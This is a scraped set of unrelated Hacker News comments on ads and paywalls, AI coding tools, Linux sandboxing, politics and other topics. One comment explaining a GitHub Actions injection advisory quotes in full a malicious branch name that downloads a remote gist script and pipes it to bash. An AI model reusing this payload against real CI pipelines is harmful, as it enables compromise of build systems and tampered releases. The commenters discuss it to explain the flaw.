skysight-inc/HackerNews huggingface dataset:
They don’t need to downgrade what is already downgraded. In my experience ChatGPT was much more capable a year ago than it is now and have become more dogmatic. Their latest updates have focused on optimizing benchmark scenarios while reducing computation costs.
this is why i have a problem with flatpacks. i’ve tried using an immutable distro with flatpacks and it’s made me want to disable every flatpack security measure because it’s even harsher and less usable than macos’s sandboxing. i don’t know what their goal is but it’s definitely not usable if i can’t connect 1password to my browser or i struggle to get steam to access another drive
In the UK we haven't had any need for violence to change government for hundreds of years.
That is exactly what they are offering:

I’m also delighted to say that subscribing to The Verge delivers a vastly improved ad experience — we’ll get rid of all the chumboxes and third-party programmatic ads, cut down the overall number of ad units, and only fill what’s left with high-quality ads directly sold by Vox Media. It will make the site faster, lighter, and more beautiful — more like the site we envisioned from the start, and something so many of you have asked us to deliver.[1]

[1]: https://www.theverge.com/2024/12/3/24306571/verge-subscripti...
I agree. The decline in writing quality is observable. There is like zero effort put into improving the writing.

> Even if you pay to not see the ads, then content won't change and you'll still be served the same "damaged goods". The quality of the writing doesn't go up when you're on the other side of the paywall.

Exactly. And the same like I have said above applies for data collection as well. Paywalls don't stop data collection and data surveillance.
Full quote is this:

> “Well, this is gonna sound pretty crazy, but I think we could land on the moon in less than two years. Certainly with an uncrewed vehicle I believe we could land on the moon in two years. So then maybe within a year or two of that we could be sending crew. I would say four years at the outside.”

I think this was/is right. The US chose not to, and we are more risk averse than in the 60s, but we “could” have done it that quickly. Probably must do it anyway when the new Trump admin is throwing away SLS and requesting a new launch system for Orion from BO/SpaceX for a moon landing in 2027 (only three years away).
That's definitely a problem.

And the "let whoever is upset try to murder the respective CEO" analysis has no problems? I think it has more.
Sure - but it's a lot simpler with less middlemen and way more cost effective.

What point are you making here?
parsePath(…).query is a URLSearchParams, so those parameters are just strings, and it’s an untagged template string, so it is indeed a trivial SQL injection vector. And the params argument was right there! I don’t understand quite how you make a mistake like that, but it’s extremely worrying. This is fundamental, basic stuff.

The fun aspects of this are that:

(a) I could actually imagine trailbase.js contents that would make it not SQL injection: you could have parsePath(…).query.get(…) return objects with a toString() that escaped SQL. This would raise even more questions, and I was sure it wouldn’t be the case, but it’s possible.

(b) You could make it work safely, converting interpolation into parameters, by using a tagged template string. This could require only a tiny change:

return await query(
sql`SELECT Owner, Aroma, Flavor, Acidity, Sweetness
FROM coffee
ORDER BY vec_distance_L2(
embedding, '[${+aroma}, ${+flavor}, ${+acid}, ${+sweet}]')
LIMIT 100`
);

(You could even make it query`…`, but I think query(sql`…`) is probably wiser. As for the plusses I put in there, that’s to convert from strings to numbers.)

This is a concept that’s definitely been done seriously. The first search result I found: https://github.com/blakeembrey/sql-template-tag.
I do so with the expectation that they should arrive in order if no one fails, but apparently it is "debatable" if this is a reasonable expectation
> We always paid for magazines and newspapers and saw ads despite paying

just because that happened doesn't mean it has to keep happening, we can do better
The sizes are accurate to the rules. Whether something physically fits in the bin on a particular aircraft isn't aligned with the rules.
What I want is incompatible with a lot of businesses sustaining themselves. That doesn't change anything in how I think regulation or technology should work here. I think we should have both technological change and regulatory change in the online ad industry that would wipe out a large chunk of the ecosystem.
I'd say Atlassian is good at least in AU not sure about US. You have to work the 40 but thats it. I do more than 40 because I enjoy but no pressure. Also Team Anywhere and as long as you are there for some meetings it can be flexible around kids etc.
FreeIPA and Authentik works pretty well for me, I did some of this for my self with terraform for fun. Personally I don’t think it’s viable SMB who can’t hire a couple of sysadmins.

But the documentation for FreeIPA is especially good. Personally wouldn’t use samba as windows DC, but one legacy windows server license seems reasonable if you are having a few hundreds of employees.

In a previous job we’ve done Windows DC + Azure AD + FreeIPA + FreeRadius just fine, the entire setup is not super complicated, but still a headache. I think nowadays most of the thing can be terraformed so it could be easier and more scalable for growing SMBs.
I had never heard of this, and the repo doesn't provide a lot of background ... it seems to be a handheld (!) pen with interactive point-for-audio features, for 2+ year-olds.

Here [1] is the Ravensburger product page in German and here [2] is some toy seller's page.

[1]: https://www.ravensburger.de/de-DE/produkte/tiptoi

[2]: https://www.playpolis.com/ravensburger/tiptoi
GPT-4o just fails to follow instructions and starts looping for me. Sonnet 3.5 never does.
The environment certainly cares about whether you watch Fox News or not while polluting the earth flying around in a plane
Pretty much everything the author describes applies to technical writing, too. Thinking AI can replace senior writers is delusional.
Pretty interesting hack. It injects code that’s being run in a GitHub script.

The script runs:

echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
echo "github.ref: ${{ github.ref }}"
echo "github.head_ref: ${{ github.head_ref }}"
echo "github.base_ref: ${{ github.base_ref }}"

Unfortunately, because of string escaping in bash, if you run:

${{ github.event.pull_request.head.ref }}

And someone makes a pull request with this branch name (I didn’t even know git let you name branches like this):

Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash

You get code injection.

This is security advisory:

https://github.com/advisories/GHSA-7x29-qqmq-v6qc
This fully resonates with me.

When the AI boom started in 2022 I've been already focused on how to create provably, or likely correct software on budget.

Since then, I've figured out how to create correct software fast, on rapid iteration. (https://www.osequi.com/)

Now I can combine productivity and quality into one single framework / method / toolchain ... at least for a niche (React apps)

Do I use AI? Only for pair programming: suggestions for algorithms, suggestions for very small technical details like Typescript polymorphism.

Do I need more AI? Not really ...

My framework automates most part of the software development process: design (specification and documentation), development, verification. What's left is understanding aka designing the software architecture, and for that I'm using math, not AI, which provides me provably-correct translatable-to-code-models in a deterministic way. None of these will be offered by AI in the foreseeable future
LENS: A Leo Satellite Network Measurement Dataset
Yeah, but that just doesn't matter. Downtown Seattle is tiny, and it's an even smaller proportion of the space where we could be building housing across the city. Like 2%.
But here's the thing: the subscription is not being cancelled. Amazon tries it, gets some people grumbling, but their bottom line is not affected and in fact goes up from this move because in addition to subscribers they also get ad revenue.

A vocal minority doesn't outweigh hard numbers in this case. But that's one of the causes of enshittification, everything becoming metrics-driven.
The clue is the name of the tools: "co-pilot".

Assistants that work best in the hands of someone who already knows what they're doing, removing tedium and providing an additional layer of quality assurance.

Pilot's still needed to get the plane in the air.

But even if the output from these tools is perfect, coding isn't only (or even mainly) about writing code, it's about building complex systems and finding workable solutions through problems that sometimes look like cul de sacs.

Once your codebase reaches a few thousand lines, LLMs struggle seeing the big picture and begin introducing one new problem for every one that they solve.
This is pretty crazy. A shell injection via a PR with a malicious branch name exploiting the github actions CI code to inject crypto miner into the release artifacts. Clever but it's pretty sad that the project maintainers fell for it.
It can't even write code well enough to be useful. Let's not get ahead of ourselves.
Stuck in AI Hell: What to Do in Post LLM World
I feel like the frontend community is suffering from the "eternal september" problem. Like PHP, it is very easy to get started so you get a lot of inexperienced developers writing very opinionated blogs that are shared with other inexperienced people who can't see the flaws. Interestingly it seems that the PHP community has matured and now consist of very reasonable and experienced "leaders", while the JS/TS community as a whole is still a long way from maturity. Don't get me wrong, there are many excellent JS/TS developers, but they face an endless stream of adversity.

In my previous startup the frontend developers decided to develop their own design library from scratch. My suggestion was to start with an established library and just adjust the style to match our look, but they wanted full control and ownership of the code. 3 years later, most of them left for new jobs and the library only contains a very basic set of components. Apparently accessibility and the rest of the "remaining 80%" part of the "80% completed" components were more difficult than they assumed. At least they had fun and could pad their resumes when they applied for new jobs, leaving others to maintain their m

This mindset was so different from the backend teams in the same startup. They preferred stable and known frameworks and libraries, and focused on the business logic. I had a feeling that the backend teams just got stuff down with little drama, while the frontend team was engaged in endless debates and rewrites. They had their own issues of course, but once they had fought the battle of choosing which language and stack to use, they stuck with it.

I worked with both and tried to stay away from most of the discussions, but it is clear to me that autonomy only works when you have a good balance of senior and junior developers that can have a discussion with the others without needing to "win" every time. As a senior developer myself, I have often learned new approaches from junior developers who have found a problem and dug in deep. Unfortunately I have seen too many senior developers and junior developers not listening to good advice from each other. The juniors think the seniors are outdated, while the seniors think the juniors are not capable.
Ads in a paid product might be annoying, but it's not secretly charging the customer and then also selling their information.

Paying customers are also identified (logged in). So in theory you could pinpoint me even more with ads after I decided to be a paying customer.
1. I see no evidence of that. It's what you believe what they believe.

2. Invading Ukraine does not seems completely non sensical given they used to be part of USSR and have no means to defend themselves without external support.
Best is to go into the woods and live with bees.
> Anthem Blue Cross Blue Shield recently decided to "no longer pay for anesthesia care if the surgery or procedure goes beyond an arbitrary time limit, regardless of how long the surgical procedure takes," according to the American Society of Anesthesiologists, which opposed the decision.

Heh. When EU authorities started implementing (partial) refunds for flight delays over x minutes, the airlines just added 30 or so minutes to their flight schedules, so most of the times they land early - wahey, progress! If the law got implemented I can imagine surgeons padding surgery time to make sure their patients get adequate care.
You can use uBlock and pay your content creators via Patreon if they have one. I believe that the ad-based freemium business model is harmful to society and unfixable due to the incentives it creates to engage and enrage rather than entertain and inform. So, I use uBlock to use YouTube for free to explicitly drain it of resources without giving Google any ad income, and then I pay the creators that I like using other platforms.
Prediction: now that the bean counters taking over is complete, Intel will sell off its hardware branch and turn into a consultancy service like IBM
I've been a Mac guy for a long time. Guess calling it alt instead of option is just a hard habit to break. ;)
X / Twitter does the same: the first paid tier only remove some ads, not all of them. And I don't think that's good.

Now there's one way to pay to get way less ads: pay for an AI model and replace a huge percentage of your searches with searches inside the model. They're not bad at that. That's why many are saying that Google is (partially) in trouble with LLMs: wife and I definitely are searching less using search engines than we used too.

Besides that I'm running a local DNS server with a brutal blocklist: nearly one million of wildcarded domains (unbound supports wildcards). I block entire TLDs too. Entire countries' IP blocks. Add uBlock origin to the mix and your life becomes pretty ad-free.

I'm glad to pay a subscription for an AI model that doesn't serve me any ad. But I won't pay for something that serves me less ads, but still some ads. As simple as that.

You want me to pay: serve me zero ad.
That nonsense should have never happened to begin with. I’m glad it’s not common now.
There was someone selling a HPHT machine for growing diamonds for $200k on AliExpress not that long ago. Not quite the same process as in the article, but the result is the same. So the answer is probably "a lot for an individual, but not that much in the grand scheme of things".

> Surely diamonds are in demand beyond jewellery.

Synthetic industrial diamonds are already common, and have been for a while. But they don’t have any purity standard and are very small, so they are much quicker to grow.

> So making these machines at scale and reducing their cost could disrupt these "scammers"..

They are not that expensive but they are not going to disrupt the gemstone diamond business. However, synthetic moissanite is more interesting than industrial diamonds. It is similar to diamond from a structural point of view, but it is half silicon, half carbon instead of pure carbon. It is created using a similar process than diamond, and prices are currently about $10 for 1ct (give or take, clearer are more expensive). Some people prefer it because it is actually more sparkling than diamond. But even if it does not decrease demand for diamonds, it shows how low the prices can get.
I would pay for YouTube premium if you can afford it. The cost is pretty reasonable and 55% of the subscription goes to content creators. It's not a huge amount but probably similar to what a creator would make if ads were shown.
Identity Politics were very successfully used to destroy Occupy Wall Street. Wonder what they will come up with to derail the populist support for this type of extrajudicial consequence. Should be interesting a year or so from now seeing people who are today cheering this killing turn into defenders of corporate malfeasance because they've been tribalized.
What kind of expenses are you talking about?
Not to mention, besides the wood material being, well, wood... it's a relatively small amount when you think about it, and the amount of processing involved which basically turn it into a different material altogether outweighs any sustainability. Plus, with all the glues / epoxies / whatever they use, that wood-based material isn't going to be degradable at all. It puts me in mind of "bamboo" products, which also relies on a lot of glues and processing to make it a wood analog.
And invite all manner of debate with aggressive non-homework do'ers? No Thanks.
Human Entropy
I remember when iMessage/Apple Messages did this, back in its first days. Everybody hated it.
> the publisher collaborates with TheBrink

in some countries (France as an example), if there was payment in any form, it has to be disclosed otherwise that's an undisclosed ad and very much illegal
Minor corrections: Gates bought Q-DOS for $50k and Tim Paterson, who wrote it, was happy to sell at that price and never felt ripped off. I worked with Tim at Microsoft and asked him about these points myself.
> If you had googled for it, you will find the following AI generated summary

I’m of Indian descent. I was in India a few weeks ago and am again in a few weeks. I also live in Wyoming, and so know a thing or two about ranching. Including the difference between beef from cows, steer and water buffalo.

> carabeef, which was 33% of its production

We’re on HN. Do we really need to play which number is bigger?

Most Indian beef is not from buffalo. And that which is isn’t exported. (Buffalo meat is commodity slop.)
Suburbs and rural areas are economic death but they happen. Single family homes cost more and lead to perverse incentives like not wanting housing prices to crater which prevents affordable housing to be built which leads to homelessness. There's no reason a city needs to be a parking lot but while rural and suburban areas persist they all but have to be to accommodate the micro plastic noise and air pollution death machines we call automobiles.

We shouldn't want suburbs (white flight) or rural (incestuous wide beating) areas to exist. Nor should we design cities for cars.
Agreed.

If you used something like sequential IDs (even in some UUID format) it can compress pretty well.
Seems to have been a combination of ophthalmic issues and severe migraine photosensitivity - apparently he could only bear to read or write in short snatches.
In August 1995, OS/2 was already dead. Windows NT 3.1 was already released in 1993, Windows NT 3.5 in 1994, and NT 3.51 (Daytona) around the same time as Windows 95. Those NT releases eventually replaced Windows 9x entirely. IBM wasn't even focused on the real product because they were rope a doped into making the world's worst character-driven graphics UI.
I had the TipToi's precursor as a kid: https://www.erinnerstdudich.de/70er/elexikon-von-ravensburge... (scroll down to the comments for more pictures).

This used a much simpler device - basically it consisted of two electrical probes connected with a wire, one of them containing batteries and a light bulb, and it worked together with a board with contact pads with hidden interconnections. Then there were several sheets where you had to find the numbers in the picture corresponding to the labels printed along the right side of the sheet.

I also like the honesty of the text on the box saying that it's "electrical", when the temptation to (incorrectly) use "electronical" instead must have been great...
While this is not a completely wrong observation, it's worse for Atlassian BitBucket. With github I have no experience.
A lot of the reason efficacy is so regulated is that people shouldn't go into debt for snake oil. If on the other hand there is no cost to the patient and minimal cost to the taxpayer the downside for inefficacy is much less and doctors would be freer let patients take a chance. It would also help more drugs get tested faster on more people.
Is that a trick question? They do all the time in Texas.
We Don't Always Act Rationally: Prospect Theory Kahneman and Tversky (1979)
While establishment politics in academica sucks the original comment was so poorly thought out as to be farce.

The (people who want science funding in the US) manipulated (another country's health authority) so that (Donald Trump and RFK would give them science funding), because both are known particularly to be influenced by the CDC equivalent of the Congo.
I came here to say this too. And I mean, sometimes ads are good? I have money and I like to buy things. How am I supposed to find out about something I've never heard of before?

Plain, non-animated non-creepy banner ads I've never minded. What I mind are:

1. Ads that are intrusive and distracting

2. Pages that have more ads than actual content

3. Ads that chase you around for two weeks trying to get you to buy something you just bought.

I mean yeah, if I'm paying $20/mo it had better be ad free. But if I'm paying $4/mo, having tasteful ads interspersed among the content is probably fine.
I get the feeling that reducing all of society into 3 groups, and thinking all 3 groups are the same, and thinking that because you believe X, all of your group believe X is rather foolish.

It's what a lot of people do, e.g. some rightwing dumbass dies, someone celebrates, and another rightwing dumbass sees a few peoplecelebrating, maybe they can see these people are left/maybe they assume, and they conclude "See, the left are celebrating, they're all evil!".
In my experience React (only) devs make very shitty everything-else devs, because they try to squeeze the broken React patterns in places where they don't make sense and don't work. And since every single React codebase does its own thing, with its own set of libraries and state management and routing and even CSS management, 2 React devs will try squeezing 2 completely different broken solutions into a Vue codebase where they could've accomplished the same thing with a single `v-model` in a single 20-line component.
But then how should redbean describe itself? There you have the executable plus any configuration files or other files you might possible need zipped inside one single file (and if you need a DB, also one more file for the sqlite database next to it, OK).
100%. I ran it on 4mb and IMHO it was fine but it did need 8mb to shine.
> If you code your class such that it's possible to let it reach an invalid state, that's no one's fault but your own.

I don't know C++ so I was given the impression in the article that the person writing the class could try very hard to make it impossible to reach an invalid state, but that this work could be ignored elsewhere by making a move of this kind which would work without any special requirements on the type itself.
That's "single-file deployment." I've never heard anyone shorten single-file deployment as just "single-file," until now.